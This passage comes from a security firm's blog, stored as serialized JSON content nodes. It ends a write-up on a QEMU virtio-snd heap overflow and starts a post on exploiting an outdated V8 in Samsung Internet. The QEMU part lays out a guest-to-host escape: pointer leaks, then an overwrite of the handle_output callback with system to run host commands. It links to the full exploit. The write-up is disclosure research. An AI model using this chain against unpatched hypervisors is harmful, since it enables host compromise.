",{"type":24,"tag":83,"props":130493,"children":130494},{"style":143},[130495],{"type":29,"value":15427},{"type":24,"tag":83,"props":130497,"children":130498},{"style":90},[130499],{"type":29,"value":130500}," sizeof",{"type":24,"tag":83,"props":130502,"children":130503},{"style":107},[130504],{"type":29,"value":130505},"(virtio_snd_pcm_xfer)) {\n",{"type":24,"tag":83,"props":130507,"children":130508},{"class":85,"line":1803},[130509,130513],{"type":24,"tag":83,"props":130510,"children":130511},{"style":117},[130512],{"type":29,"value":60264},{"type":24,"tag":83,"props":130514,"children":130515},{"style":107},[130516],{"type":29,"value":130517}," rx_err;\n",{"type":24,"tag":83,"props":130519,"children":130520},{"class":85,"line":1811},[130521],{"type":24,"tag":83,"props":130522,"children":130523},{"style":107},[130524],{"type":29,"value":3092},{"type":24,"tag":83,"props":130526,"children":130527},{"class":85,"line":8792},[130528,130533,130537,130541,130545,130550,130554,130559],{"type":24,"tag":83,"props":130529,"children":130530},{"style":107},[130531],{"type":29,"value":130532},"        stream_id ",{"type":24,"tag":83,"props":130534,"children":130535},{"style":143},[130536],{"type":29,"value":1275},{"type":24,"tag":83,"props":130538,"children":130539},{"style":101},[130540],{"type":29,"value":125405},{"type":24,"tag":83,"props":130542,"children":130543},{"style":107},[130544],{"type":29,"value":558},{"type":24,"tag":83,"props":130546,"children":130547},{"style":137},[130548],{"type":29,"value":130549},"hdr",{"type":24,"tag":83,"props":130551,"children":130552},{"style":107},[130553],{"type":29,"value":161},{"type":24,"tag":83,"props":130555,"children":130556},{"style":137},[130557],{"type":29,"value":130558},"stream_id",{"type":24,"tag":83,"props":130560,"children":130561},{"style":107},[130562],{"type":29,"value":581},{"type":24,"tag":83,"props":130564,"children":130565},{"class":85,"line":8810},[130566],{"type":24,"tag":83,"props":130567,"children":130568},{"emptyLinePlaceholder":16},[130569],{"type":29,"value":3422},{"type":24,"tag":83,"props":130571,"children":130572},{"class":85,"line":8855},[130573],{"type":24,"tag":83,"props":130574,"children":130575},{"style":107},[130576],{"type":29,"value":123572},{"type":24,"tag":83,"props":130578,"children":130579},{"class":85,"line":8961},[130580],{"type":24,"tag":83,"props":130581,"children":130582},{"emptyLinePlaceholder":16},[130583],{"type":29,"value":3422},{"type":24,"tag":83,"props":130585,"children":130586},{"class":85,"line":23248},[130587,130591,130595,130599,130603,130607,130611],{"type":24,"tag":83,"props":130588,"children":130589},{"style":101},[130590],{"type":29,"value":123587},{"type":24,"tag":83,"props":130592,"children":130593},{"style":107},[130594],{"type":29,"value":558},{"type":24,"tag":83,"props":130596,"children":130597},{"style":143},[130598],{"type":29,"value":2853},{"type":24,"tag":83,"props":130600,"children":130601},{"style":137},[130602],{"type":29,"value":35992},{"type":24,"tag":83,"props":130604,"children":130605},{"style":107},[130606],{"type":29,"value":13502},{"type":24,"tag":83,"props":130608,"children":130609},{"style":137},[130610],{"type":29,"value":123608},{"type":24,"tag":83,"props":130612,"children":130613},{"style":107},[130614],{"type":29,"value":253},{"type":24,"tag":83,"props":130616,"children":130617},{"class":85,"line":23283},[130618,130622,130626,130630,130634,130638,130642,130646,130650,130654,130658,130662,130666],{"type":24,"tag":83,"props":130619,"children":130620},{"style":107},[130621],{"type":29,"value":123620},{"type":24,"tag":83,"props":130623,"children":130624},{"style":143},[130625],{"type":29,"value":1275},{"type":24,"tag":83,"props":130627,"children":130628},{"style":101},[130629],{"type":29,"value":123629},{"type":24,"tag":83,"props":130631,"children":130632},{"style":107},[130633],{"type":29,"value":558},{"type":24,"tag":83,"props":130635,"children":130636},{"style":137},[130637],{"type":29,"value":51778},{"type":24,"tag":83,"props":130639,"children":130640},{"style":107},[130641],{"type":29,"value":13502},{"type":24,"tag":83,"props":130643,"children":130644},{"style":137},[130645],{"type":29,"value":123646},{"type":24,"tag":83,"props":130647,"children":130648},{"style":107},[130649],{"type":29,"value":568},{"type":24,"tag":83,"props":130651,"children":130652},{"style":137},[130653],{"type":29,"value":51778},{"type":24,"tag":83,"props":130655,"children":130656},{"style":107},[130657],{"type":29,"value":13502},{"type":24,"tag":83,"props":130659,"children":130660},{"style":137},[130661],{"type":29,"value":123663},{"type":24,"tag":83,"props":130663,"children":130664},{"style":107},[130665],{"type":29,"value":633},{"type":24,"tag":83,"props":130667,"children":130668},{"style":143},[130669],{"type":29,"value":50576},{"type":24,"tag":83,"props":130671,"children":130672},{"class":85,"line":23291},[130673,130677],{"type":24,"tag":83,"props":130674,"children":130675},{"style":90},[130676],{"type":29,"value":123679},{"type":24,"tag":83,"props":130678,"children":130679},{"style":107},[130680],{"type":29,"value":130681},"(virtio_snd_pcm_status);\n",{"type":24,"tag":83,"props":130683,"children":130684},{"class":85,"line":23299},[130685,130689,130693,130697,130701,130705,130709,130713,130718],{"type":24,"tag":83,"props":130686,"children":130687},{"style":107},[130688],{"type":29,"value":123697},{"type":24,"tag":83,"props":130690,"children":130691},{"style":143},[130692],{"type":29,"value":1275},{"type":24,"tag":83,"props":130694,"children":130695},{"style":101},[130696],{"type":29,"value":123706},{"type":24,"tag":83,"props":130698,"children":130699},{"style":107},[130700],{"type":29,"value":558},{"type":24,"tag":83,"props":130702,"children":130703},{"style":90},[130704],{"type":29,"value":55041},{"type":24,"tag":83,"props":130706,"children":130707},{"style":107},[130708],{"type":29,"value":123719},{"type":24,"tag":83,"props":130710,"children":130711},{"style":143},[130712],{"type":29,"value":4126},{"type":24,"tag":83,"props":130714,"children":130715},{"style":107},[130716],{"type":29,"value":130717}," size);",{"type":24,"tag":83,"props":130719,"children":130720},{"style":2735},[130721],{"type":29,"value":130722},"    // [1]\n",{"type":24,"tag":83,"props":130724,"children":130725},{"class":85,"line":23308},[130726,130730,130734,130738,130742],{"type":24,"tag":83,"props":130727,"children":130728},{"style":137},[130729],{"type":29,"value":123736},{"type":24,"tag":83,"props":130731,"children":130732},{"style":107},[130733],{"type":29,"value":13502},{"type":24,"tag":83,"props":130735,"children":130736},{"style":137},[130737],{"type":29,"value":51778},{"type":24,"tag":83,"props":130739,"children":130740},{"style":143},[130741],{"type":29,"value":146},{"type":24,"tag":83,"props":130743,"children":130744},{"style":107},[130745],{"type":29,"value":123753},{"type":24,"tag":83,"props":130747,"children":130748},{"class":85,"line":23350},[130749,130753,130757,130761,130765,130770],{"type":24,"tag":83,"props":130750,"children":130751},{"style":137},[130752],{"type":29,"value":123736},{"type":24,"tag":83,"props":130754,"children":130755},{"style":107},[130756],{"type":29,"value":13502},{"type":24,"tag":83,"props":130758,"children":130759},{"style":137},[130760],{"type":29,"value":123405},{"type":24,"tag":83,"props":130762,"children":130763},{"style":143},[130764],{"type":29,"value":146},{"type":24,"tag":83,"props":130766,"children":130767},{"style":107},[130768],{"type":29,"value":130769}," vq;",{"type":24,"tag":83,"props":130771,"children":130772},{"style":2735},[130773],{"type":29,"value":130774},"                                            // [2]\n",{"type":24,"tag":83,"props":130776,"children":130777},{"class":85,"line":23383},[130778,130782,130786,130790,130794,130798],{"type":24,"tag":83,"props":130779,"children":130780},{"style":137},[130781],{"type":29,"value":123736},{"type":24,"tag":83,"props":130783,"children":130784},{"style":107},[130785],{"type":29,"value":13502},{"type":24,"tag":83,"props":130787,"children":130788},{"style":137},[130789],{"type":29,"value":123793},{"type":24,"tag":83,"props":130791,"children":130792},{"style":143},[130793],{"type":29,"value":146},{"type":24,"tag":83,"props":130795,"children":130796},{"style":245},[130797],{"type":29,"value":248},{"type":24,"tag":83,"props":130799,"children":130800},{"style":107},[130801],{"type":29,"value":321},{"type":24,"tag":83,"props":130803,"children":130804},{"class":85,"line":23391},[130805,130809,130813,130817,130821,130825],{"type":24,"tag":83,"props":130806,"children":130807},{"style":137},[130808],{"type":29,"value":123736},{"type":24,"tag":83,"props":130810,"children":130811},{"style":107},[130812],{"type":29,"value":13502},{"type":24,"tag":83,"props":130814,"children":130815},{"style":137},[130816],{"type":29,"value":13646},{"type":24,"tag":83,"props":130818,"children":130819},{"style":143},[130820],{"type":29,"value":146},{"type":24,"tag":83,"props":130822,"children":130823},{"style":245},[130824],{"type":29,"value":248},{"type":24,"tag":83,"props":130826,"children":130827},{"style":107},[130828],{"type":29,"value":321},{"type":24,"tag":83,"props":130830,"children":130831},{"class":85,"line":23399},[130832,130836,130840,130844,130848,130852,130856],{"type":24,"tag":83,"props":130833,"children":130834},{"style":101},[130835],{"type":29,"value":123840},{"type":24,"tag":83,"props":130837,"children":130838},{"style":107},[130839],{"type":29,"value":558},{"type":24,"tag":83,"props":130841,"children":130842},{"style":143},[130843],{"type":29,"value":2853},{"type":24,"tag":83,"props":130845,"children":130846},{"style":137},[130847],{"type":29,"value":35992},{"type":24,"tag":83,"props":130849,"children":130850},{"style":107},[130851],{"type":29,"value":13502},{"type":24,"tag":83,"props":130853,"children":130854},{"style":137},[130855],{"type":29,"value":123861},{"type":24,"tag":83,"props":130857,"children":130858},{"style":107},[130859],{"type":29,"value":130860},", buffer, entry);\n",{"type":24,"tag":83,"props":130862,"children":130863},{"class":85,"line":23408},[130864],{"type":24,"tag":83,"props":130865,"children":130866},{"style":107},[130867],{"type":29,"value":3092},{"type":24,"tag":25,"props":130869,"children":130870},{},[130871,130872,130877,130879,130884,130886,130891,130893,130899],{"type":29,"value":123915},{"type":24,"tag":32,"props":130873,"children":130875},{"className":130874},[],[130876],{"type":29,"value":123921},{"type":29,"value":130878},", QEMU allocates a ",{"type":24,"tag":32,"props":130880,"children":130882},{"className":130881},[],[130883],{"type":29,"value":124058},{"type":29,"value":130885}," whose size depends on the guest-provided iovec, and at ",{"type":24,"tag":32,"props":130887,"children":130889},{"className":130888},[],[130890],{"type":29,"value":123956},{"type":29,"value":130892}," it stores the ",{"type":24,"tag":32,"props":130894,"children":130896},{"className":130895},[],[130897],{"type":29,"value":130898},"VirtQueue *vq",{"type":29,"value":130900}," pointer into the buffer.",{"type":24,"tag":25,"props":130902,"children":130903},{},[130904,130905,130911],{"type":29,"value":63932},{"type":24,"tag":32,"props":130906,"children":130908},{"className":130907},[],[130909],{"type":29,"value":130910},"VirtQueue",{"type":29,"value":130912}," structure contains some useful fields:",{"type":24,"tag":73,"props":130914,"children":130916},{"code":130915,"language":2891,"meta":7,"className":16250,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[130917],{"type":24,"tag":32,"props":130918,"children":130919},{"__ignoreMap":7},[130920,130932,130939,130946,130953,130961,130978,130985,130992],{"type":24,"tag":83,"props":130921,"children":130922},{"class":85,"line":86},[130923,130927],{"type":24,"tag":83,"props":130924,"children":130925},{"style":90},[130926],{"type":29,"value":9148},{"type":24,"tag":83,"props":130928,"children":130929},{"style":107},[130930],{"type":29,"value":130931}," VirtQueue\n",{"type":24,"tag":83,"props":130933,"children":130934},{"class":85,"line":113},[130935],{"type":24,"tag":83,"props":130936,"children":130937},{"style":107},[130938],{"type":29,"value":10628},{"type":24,"tag":83,"props":130940,"children":130941},{"class":85,"line":128},[130942],{"type":24,"tag":83,"props":130943,"children":130944},{"style":107},[130945],{"type":29,"value":104334},{"type":24,"tag":83,"props":130947,"children":130948},{"class":85,"line":183},[130949],{"type":24,"tag":83,"props":130950,"children":130951},{"emptyLinePlaceholder":16},[130952],{"type":29,"value":3422},{"type":24,"tag":83,"props":130954,"children":130955},{"class":85,"line":203},[130956],{"type":24,"tag":83,"props":130957,"children":130958},{"style":107},[130959],{"type":29,"value":130960},"    VirtIOHandleOutput handle_output;\n",{"type":24,"tag":83,"props":130962,"children":130963},{"class":85,"line":212},[130964,130969,130973],{"type":24,"tag":83,"props":130965,"children":130966},{"style":107},[130967],{"type":29,"value":130968},"    VirtIODevice ",{"type":24,"tag":83,"props":130970,"children":130971},{"style":143},[130972],{"type":29,"value":4315},{"type":24,"tag":83,"props":130974,"children":130975},{"style":107},[130976],{"type":29,"value":130977},"vdev;\n",{"type":24,"tag":83,"props":130979,"children":130980},{"class":85,"line":256},[130981],{"type":24,"tag":83,"props":130982,"children":130983},{"emptyLinePlaceholder":16},[130984],{"type":29,"value":3422},{"type":24,"tag":83,"props":130986,"children":130987},{"class":85,"line":270},[130988],{"type":24,"tag":83,"props":130989,"children":130990},{"style":107},[130991],{"type":29,"value":104334},{"type":24,"tag":83,"props":130993,"children":130994},{"class":85,"line":302},[130995],{"type":24,"tag":83,"props":130996,"children":130997},{"style":107},[130998],{"type":29,"value":1071},{"type":24,"tag":25,"props":131000,"children":131001},{},[131002,131003,131009,131011,131017],{"type":29,"value":16348},{"type":24,"tag":32,"props":131004,"children":131006},{"className":131005},[],[131007],{"type":29,"value":131008},".handle_output",{"type":29,"value":131010}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":24,"tag":32,"props":131012,"children":131014},{"className":131013},[],[131015],{"type":29,"value":131016},".vdev",{"type":29,"value":131018}," is the pointer passed to it as the first argument:",{"type":24,"tag":73,"props":131020,"children":131022},{"code":131021,"language":2891,"meta":7,"className":16250,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[131023],{"type":24,"tag":32,"props":131024,"children":131025},{"__ignoreMap":7},[131026,131059,131066,131121,131158,131165,131172,131179,131200,131207,131214,131221],{"type":24,"tag":83,"props":131027,"children":131028},{"class":85,"line":86},[131029,131033,131037,131042,131047,131051,131055],{"type":24,"tag":83,"props":131030,"children":131031},{"style":90},[131032],{"type":29,"value":50759},{"type":24,"tag":83,"props":131034,"children":131035},{"style":90},[131036],{"type":29,"value":50764},{"type":24,"tag":83,"props":131038,"children":131039},{"style":101},[131040],{"type":29,"value":131041}," virtio_queue_notify_vq",{"type":24,"tag":83,"props":131043,"children":131044},{"style":107},[131045],{"type":29,"value":131046},"(VirtQueue ",{"type":24,"tag":83,"props":131048,"children":131049},{"style":143},[131050],{"type":29,"value":4315},{"type":24,"tag":83,"props":131052,"children":131053},{"style":137},[131054],{"type":29,"value":123405},{"type":24,"tag":83,"props":131056,"children":131057},{"style":107},[131058],{"type":29,"value":2905},{"type":24,"tag":83,"props":131060,"children":131061},{"class":85,"line":113},[131062],{"type":24,"tag":83,"props":131063,"children":131064},{"style":107},[131065],{"type":29,"value":10628},{"type":24,"tag":83,"props":131067,"children":131068},{"class":85,"line":128},[131069,131073,131077,131081,131085,131090,131094,131099,131103,131108,131112,131117],{"type":24,"tag":83,"props":131070,"children":131071},{"style":117},[131072],{"type":29,"value":218},{"type":24,"tag":83,"props":131074,"children":131075},{"style":107},[131076],{"type":29,"value":223},{"type":24,"tag":83,"props":131078,"children":131079},{"style":137},[131080],{"type":29,"value":123405},{"type":24,"tag":83,"props":131082,"children":131083},{"style":107},[131084],{"type":29,"value":13502},{"type":24,"tag":83,"props":131086,"children":131087},{"style":137},[131088],{"type":29,"value":131089},"vring",{"type":24,"tag":83,"props":131091,"children":131092},{"style":107},[131093],{"type":29,"value":161},{"type":24,"tag":83,"props":131095,"children":131096},{"style":137},[131097],{"type":29,"value":131098},"desc",{"type":24,"tag":83,"props":131100,"children":131101},{"style":143},[131102],{"type":29,"value":1126},{"type":24,"tag":83,"props":131104,"children":131105},{"style":137},[131106],{"type":29,"value":131107}," vq",{"type":24,"tag":83,"props":131109,"children":131110},{"style":107},[131111],{"type":29,"value":13502},{"type":24,"tag":83,"props":131113,"children":131114},{"style":137},[131115],{"type":29,"value":131116},"handle_output",{"type":24,"tag":83,"props":131118,"children":131119},{"style":107},[131120],{"type":29,"value":253},{"type":24,"tag":83,"props":131122,"children":131123},{"class":85,"line":183},[131124,131129,131133,131138,131142,131146,131150,131154],{"type":24,"tag":83,"props":131125,"children":131126},{"style":107},[131127],{"type":29,"value":131128},"        VirtIODevice ",{"type":24,"tag":83,"props":131130,"children":131131},{"style":143},[131132],{"type":29,"value":4315},{"type":24,"tag":83,"props":131134,"children":131135},{"style":107},[131136],{"type":29,"value":131137},"vdev ",{"type":24,"tag":83,"props":131139,"children":131140},{"style":143},[131141],{"type":29,"value":1275},{"type":24,"tag":83,"props":131143,"children":131144},{"style":137},[131145],{"type":29,"value":131107},{"type":24,"tag":83,"props":131147,"children":131148},{"style":107},[131149],{"type":29,"value":13502},{"type":24,"tag":83,"props":131151,"children":131152},{"style":137},[131153],{"type":29,"value":123391},{"type":24,"tag":83,"props":131155,"children":131156},{"style":107},[131157],{"type":29,"value":321},{"type":24,"tag":83,"props":131159,"children":131160},{"class":85,"line":203},[131161],{"type":24,"tag":83,"props":131162,"children":131163},{"emptyLinePlaceholder":16},[131164],{"type":29,"value":3422},{"type":24,"tag":83,"props":131166,"children":131167},{"class":85,"line":212},[131168],{"type":24,"tag":83,"props":131169,"children":131170},{"style":107},[131171],{"type":29,"value":123572},{"type":24,"tag":83,"props":131173,"children":131174},{"class":85,"line":256},[131175],{"type":24,"tag":83,"props":131176,"children":131177},{"emptyLinePlaceholder":16},[131178],{"type":29,"value":3422},{"type":24,"tag":83,"props":131180,"children":131181},{"class":85,"line":270},[131182,131187,131191,131195],{"type":24,"tag":83,"props":131183,"children":131184},{"style":137},[131185],{"type":29,"value":131186},"        vq",{"type":24,"tag":83,"props":131188,"children":131189},{"style":107},[131190],{"type":29,"value":13502},{"type":24,"tag":83,"props":131192,"children":131193},{"style":101},[131194],{"type":29,"value":131116},{"type":24,"tag":83,"props":131196,"children":131197},{"style":107},[131198],{"type":29,"value":131199},"(vdev, vq);\n",{"type":24,"tag":83,"props":131201,"children":131202},{"class":85,"line":302},[131203],{"type":24,"tag":83,"props":131204,"children":131205},{"emptyLinePlaceholder":16},[131206],{"type":29,"value":3422},{"type":24,"tag":83,"props":131208,"children":131209},{"class":85,"line":324},[131210],{"type":24,"tag":83,"props":131211,"children":131212},{"style":107},[131213],{"type":29,"value":123572},{"type":24,"tag":83,"props":131215,"children":131216},{"class":85,"line":345},[131217],{"type":24,"tag":83,"props":131218,"children":131219},{"style":107},[131220],{"type":29,"value":446},{"type":24,"tag":83,"props":131222,"children":131223},{"class":85,"line":358},[131224],{"type":24,"tag":83,"props":131225,"children":131226},{"style":107},[131227],{"type":29,"value":464},{"type":24,"tag":25,"props":131229,"children":131230},{},[131231,131233,131238,131240,131245,131247,131253,131255,131260,131261,131266,131268,131273],{"type":29,"value":131232},"This means that if we free the known-address chunk and replace it with a ",{"type":24,"tag":32,"props":131234,"children":131236},{"className":131235},[],[131237],{"type":29,"value":124058},{"type":29,"value":131239}," - which is straightforward, since we control the buffer allocation size through the ",{"type":24,"tag":32,"props":131241,"children":131243},{"className":131242},[],[131244],{"type":29,"value":123646},{"type":29,"value":131246}," iovec - we can use the arbitrary read primitive to read its ",{"type":24,"tag":32,"props":131248,"children":131250},{"className":131249},[],[131251],{"type":29,"value":131252},".vq",{"type":29,"value":131254}," pointer, then follow that pointer to leak ",{"type":24,"tag":32,"props":131256,"children":131258},{"className":131257},[],[131259],{"type":29,"value":131008},{"type":29,"value":15789},{"type":24,"tag":32,"props":131262,"children":131264},{"className":131263},[],[131265],{"type":29,"value":130910},{"type":29,"value":131267}," structure. In our case, that field points to ",{"type":24,"tag":32,"props":131269,"children":131271},{"className":131270},[],[131272],{"type":29,"value":123298},{"type":29,"value":131274},", which gives us QEMU's base address.",{"type":24,"tag":25,"props":131276,"children":131277},{},[131278,131280,131286],{"type":29,"value":131279},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":24,"tag":32,"props":131281,"children":131283},{"className":131282},[],[131284],{"type":29,"value":131285},"system",{"type":29,"value":161},{"type":24,"tag":1818,"props":131288,"children":131290},{"id":131289},"rip-control",[131291],{"type":29,"value":131292},"RIP Control",{"type":24,"tag":25,"props":131294,"children":131295},{},[131296,131298,131303,131305,131311],{"type":29,"value":131297},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":24,"tag":32,"props":131299,"children":131301},{"className":131300},[],[131302],{"type":29,"value":131285},{"type":29,"value":131304},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":24,"tag":32,"props":131306,"children":131308},{"className":131307},[],[131309],{"type":29,"value":131310},"VirtQueue.handle_output",{"type":29,"value":161},{"type":24,"tag":25,"props":131313,"children":131314},{},[131315,131317,131322,131324,131329,131331,131336],{"type":29,"value":131316},"We overwrite ",{"type":24,"tag":32,"props":131318,"children":131320},{"className":131319},[],[131321],{"type":29,"value":131008},{"type":29,"value":131323}," with the address of ",{"type":24,"tag":32,"props":131325,"children":131327},{"className":131326},[],[131328],{"type":29,"value":131285},{"type":29,"value":131330}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":24,"tag":32,"props":131332,"children":131334},{"className":131333},[],[131335],{"type":29,"value":131016},{"type":29,"value":131337}," with the address of that command string, so it is passed as the first argument.",{"type":24,"tag":25,"props":131339,"children":131340},{},[131341,131343,131349,131351,131357,131359,131365],{"type":29,"value":131342},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":24,"tag":32,"props":131344,"children":131346},{"className":131345},[],[131347],{"type":29,"value":131348},"virtio_queue_notify_vq",{"type":29,"value":131350},", which calls ",{"type":24,"tag":32,"props":131352,"children":131354},{"className":131353},[],[131355],{"type":29,"value":131356},"vq->handle_output(vq->vdev)",{"type":29,"value":131358}," - or, after our overwrites, ",{"type":24,"tag":32,"props":131360,"children":131362},{"className":131361},[],[131363],{"type":29,"value":131364},"system(command)",{"type":29,"value":161},{"type":24,"tag":25,"props":131367,"children":131368},{},[131369,131371,131377,131379],{"type":29,"value":131370},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":24,"tag":32,"props":131372,"children":131374},{"className":131373},[],[131375],{"type":29,"value":131376},"gnome-calculator",{"type":29,"value":131378}," on the host system:\n",{"type":24,"tag":30720,"props":131380,"children":131381},{},[],{"type":24,"tag":131383,"props":131384,"children":131393},"tweet-card",{"author-name":131385,"date":131386,"duration":131387,"handle":131388,"media-mime-type":131389,"media-src":131390,"media-type":131391,"tweet-url":131392},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[131394,131399,131404],{"type":24,"tag":25,"props":131395,"children":131396},{},[131397],{"type":29,"value":131398},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":24,"tag":25,"props":131400,"children":131401},{},[131402],{"type":29,"value":131403},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":24,"tag":25,"props":131405,"children":131406},{},[131407],{"type":29,"value":131408},"Writeup coming next week.",{"type":24,"tag":30720,"props":131410,"children":131411},{},[],{"type":24,"tag":25,"props":131413,"children":131414},{},[131415,131417,131423,131425,131431],{"type":29,"value":131416},"The final exploit, targeting QEMU commit ",{"type":24,"tag":32,"props":131418,"children":131420},{"className":131419},[],[131421],{"type":29,"value":131422},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":131424}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":24,"tag":2033,"props":131426,"children":131429},{"href":131427,"rel":131428},"https://github.com/otter-sec/qemu-escape",[2037],[131430],{"type":29,"value":47303},{"type":29,"value":161},{"type":24,"tag":25,"props":131433,"children":131434},{},[131435,131437,131444],{"type":29,"value":131436},"Special thanks to ",{"type":24,"tag":2033,"props":131438,"children":131441},{"href":131439,"rel":131440},"https://www.willsroot.io/",[2037],[131442],{"type":29,"value":131443},"William Liu",{"type":29,"value":131445}," for proofreading this post and helping us polish it before publication.",{"type":24,"tag":51,"props":131447,"children":131448},{"id":28683},[131449],{"type":29,"value":18686},{"type":24,"tag":25,"props":131451,"children":131452},{},[131453],{"type":29,"value":131454},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":24,"tag":25,"props":131456,"children":131457},{},[131458],{"type":29,"value":131459},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":24,"tag":2584,"props":131461,"children":131462},{},[131463],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":131465},[131466,131469,131472,131481],{"id":123194,"depth":113,"text":123207,"children":131467},[131468],{"id":123215,"depth":128,"text":123218},{"id":123239,"depth":113,"text":123242,"children":131470},[131471],{"id":123253,"depth":128,"text":123253},{"id":99641,"depth":113,"text":99644,"children":131473},[131474,131475,131476,131477,131478,131479,131480],{"id":125845,"depth":128,"text":125848},{"id":127372,"depth":128,"text":127375},{"id":128166,"depth":128,"text":128169},{"id":128571,"depth":128,"text":128574},{"id":128787,"depth":128,"text":128790},{"id":128993,"depth":128,"text":128996},{"id":131289,"depth":128,"text":131292},{"id":28683,"depth":113,"text":18686},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":131486,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":131487,"description":131488,"date":131489,"author":131490,"image":131493,"isFeatured":16,"onBlogPage":16,"tags":131495,"body":131498,"_type":2606,"_id":141406,"_source":2608,"_file":141407,"_stem":141408,"_extension":2611},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[123190,131491,131492],"jamie","william",{"src":131494,"width":14,"height":15},"/posts/mobile-renderer-rce/title.png",[131496,131497],"RCE","mobile",{"type":21,"children":131499,"toc":141386},[131500,131504,131509,131523,131529,131543,131564,131572,131585,131593,131606,131612,131625,131639,131645,131659,131762,131767,131775,131780,131785,131806,131884,131892,131911,131924,131930,131936,131950,132066,132071,132076,132084,132089,132097,132125,132154,132166,132342,132347,132355,132374,132387,132393,132413,132427,132432,132437,132465,132501,132570,132576,132598,132603,132611,132624,132629,132637,132642,132681,132687,132700,132705,132883,132893,132901,132921,132945,132958,132964,132969,133611,133616,133624,133666,135655,135660,135668,135674,135707,135725,135895,135953,135978,136072,136077,136868,136873,136881,136892,138936,138941,138949,138955,138977,138991,139004,139016,139046,139051,139492,139520,139627,139644,139801,139806,139818,140114,140140,140163,140295,140307,140312,140464,140500,140513,140518,140640,140681,140758,140763,141337,141343,141355,141368,141372,141377,141382],{"type":24,"tag":51,"props":131501,"children":131502},{"id":28766},[131503],{"type":29,"value":28769},{"type":24,"tag":25,"props":131505,"children":131506},{},[131507],{"type":29,"value":131508},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":24,"tag":25,"props":131510,"children":131511},{},[131512,131514,131521],{"type":29,"value":131513},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":24,"tag":2033,"props":131515,"children":131518},{"href":131516,"rel":131517},"https://cor.team",[2037],[131519],{"type":29,"value":131520},"Crusaders of Rust",{"type":29,"value":131522}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":24,"tag":1818,"props":131524,"children":131526},{"id":131525},"finding-the-v8-version",[131527],{"type":29,"value":131528},"Finding the V8 Version",{"type":24,"tag":25,"props":131530,"children":131531},{},[131532,131534,131541],{"type":29,"value":131533},"We started by pulling Samsung Internet's APK from the device over ",{"type":24,"tag":2033,"props":131535,"children":131538},{"href":131536,"rel":131537},"https://developer.android.com/tools/adb",[2037],[131539],{"type":29,"value":131540},"adb",{"type":29,"value":131542}," and inspecting the libraries it shipped with.",{"type":24,"tag":25,"props":131544,"children":131545},{},[131546,131548,131554,131556,131562],{"type":29,"value":131547},"After extracting the APK, we searched the ",{"type":24,"tag":32,"props":131549,"children":131551},{"className":131550},[],[131552],{"type":29,"value":131553},"lib/",{"type":29,"value":131555}," directory for ",{"type":24,"tag":32,"props":131557,"children":131559},{"className":131558},[],[131560],{"type":29,"value":131561},"v8::*",{"type":29,"value":131563}," symbols:",{"type":24,"tag":73,"props":131565,"children":131567},{"code":131566},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[131568],{"type":24,"tag":32,"props":131569,"children":131570},{"__ignoreMap":7},[131571],{"type":29,"value":131566},{"type":24,"tag":25,"props":131573,"children":131574},{},[131575,131577,131583],{"type":29,"value":131576},"Only one file matched our search: ",{"type":24,"tag":32,"props":131578,"children":131580},{"className":131579},[],[131581],{"type":29,"value":131582},"libterrace.so",{"type":29,"value":131584},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":24,"tag":25,"props":131586,"children":131587},{},[131588],{"type":24,"tag":2510,"props":131589,"children":131592},{"alt":131590,"src":131591},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":24,"tag":25,"props":131594,"children":131595},{},[131596,131598,131604],{"type":29,"value":131597},"Surprisingly, this ",{"type":24,"tag":32,"props":131599,"children":131601},{"className":131600},[],[131602],{"type":29,"value":131603},"13.6.233.10",{"type":29,"value":131605}," version was already six months old at the time, with multiple publicly known bugs affecting 